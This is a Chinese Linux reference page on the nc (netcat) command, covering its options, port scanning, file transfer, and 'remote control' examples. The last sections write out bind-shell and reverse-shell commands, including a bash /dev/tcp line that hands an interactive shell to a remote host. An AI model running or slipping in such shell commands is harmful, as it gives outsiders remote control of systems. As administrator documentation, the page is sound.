nc 命令,Linux nc 命令详解:nc是网络工具中的瑞士军刀

nc 命令,Linux nc 命令详解:nc是网络工具中的瑞士军刀

nc

nc是网络工具中的瑞士军刀

补充说明

nc命令 全称netcat,用于TCP、UDP或unix域套接字(uds)的数据流操作,它可以打开TCP连接,发送UDP数据包,监听任意TCP

和UDP端口,同时也可用作做端口扫描,支持IPv4和IPv6,与Telnet的不同在于nc可以编写脚本。

语法

nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>]

[-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

选项

-4 只使用IPV4

-6 只使用IPV6

-c 使用tls连接或者监听

-D 启用socket调试开关

-g <网关> # 设置路由器跃程通信网关,最多可设置8个。

-G<指向器数目> # 设置来源路由指向器,其数值为4的倍数。

-h 在线帮助。

-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。

-l 使用监听模式,管控传入的资料。

-n 直接使用IP地址,而不通过域名服务器。

-o<输出文件> # 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

-p<通信端口> # 设置本地主机使用的通信端口。

-r 乱数指定本地与远端主机的通信端口。

-s<来源位址> # 设置本地主机送出数据包的IP地址。

-u 使用UDP传输协议。

-v 显示指令执行过程。

-w<超时秒数> # 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

实例

TCP端口扫描

[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100

192.168.0.3: inverse host lookup failed: Unknown host

(UNKNOWN) [192.168.0.3] 80 (http) open

(UNKNOWN) [192.168.0.3] 23 (telnet) open

(UNKNOWN) [192.168.0.3] 22 (ssh) open

扫描192.168.0.3 的端口 范围是 1-100

扫描UDP端口

[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000

扫描指定端口

[root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口

(UNKNOWN) [192.168.0.1] 80 (?) open

y //用户输入

查看从服务器到目的地的出站端口 443 是否被防火墙阻止

nc -vz acme-v02.api.letsencrypt.org 443 -w2

# Ncat: Version 7.50 ( https://nmap.org/ncat )

# Ncat: Connected to 23.77.214.183:443.

# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.

文件传输

# 接收方提前设置监听端口与要接收的文件名(文件名可自定义):

nc -lp 8888 > node.tar.gz

# 传输方发文件:

nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz

# ⚠️ 注意:192.168.75.121是接收方的ip地址。

# 如果希望文件传输结束后自动退出,可以使用下面的命令:

nc -lp 8888 > node.tar.gz

nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz

# ⚠️ 注意:-i 表示闲置超时时间

远程控制

# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。

# 被控制端执行下面的命令:

nc -lvnp 8888 -c bash

# 控制端执行下面的命令:

nc 192.168.75.121 8888

# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。

# 控制端执行下面的命令:

nc -lvnp 8888

# 被控制端执行下面的命令:

nc 192.168.75.121 8888 -c bash

反弹shell

# 控制端执行下面的命令:

nc -lvnp 8888

# 被控端执行下面的命令:

bash -i &> /dev/tcp/192.168.75.121/8888 0>&1

📚 相关推荐

iPhone 12 屏幕偏黄?教你这三招解决!
北海365最新房屋出租

iPhone 12 屏幕偏黄?教你这三招解决!

📅 07-31 👁️ 6308
中国十大赏桂好去处
365网新闻

中国十大赏桂好去处

📅 08-23 👁️ 7353
如何清空sim卡
365bet.com官方网站

如何清空sim卡

📅 08-08 👁️ 2925
微信聊天最大字数限制:10000字
北海365最新房屋出租

微信聊天最大字数限制:10000字

📅 08-19 👁️ 8822
八字相冲解析:八字相克相合速查表
365bet.com官方网站

八字相冲解析:八字相克相合速查表

📅 08-28 👁️ 959
大话西游手游龙兔怎么获得
365bet.com官方网站

大话西游手游龙兔怎么获得

📅 08-23 👁️ 1903
完美世界手游奇遇罗拉怎么做 隐藏任务攻略
北海365最新房屋出租

完美世界手游奇遇罗拉怎么做 隐藏任务攻略

📅 08-26 👁️ 738
热血传奇中法师几级可以招鹰卫 多少级招虎卫
鞿镳的意思、鞿镳的详细解释
365bet.com官方网站

鞿镳的意思、鞿镳的详细解释

📅 07-08 👁️ 4399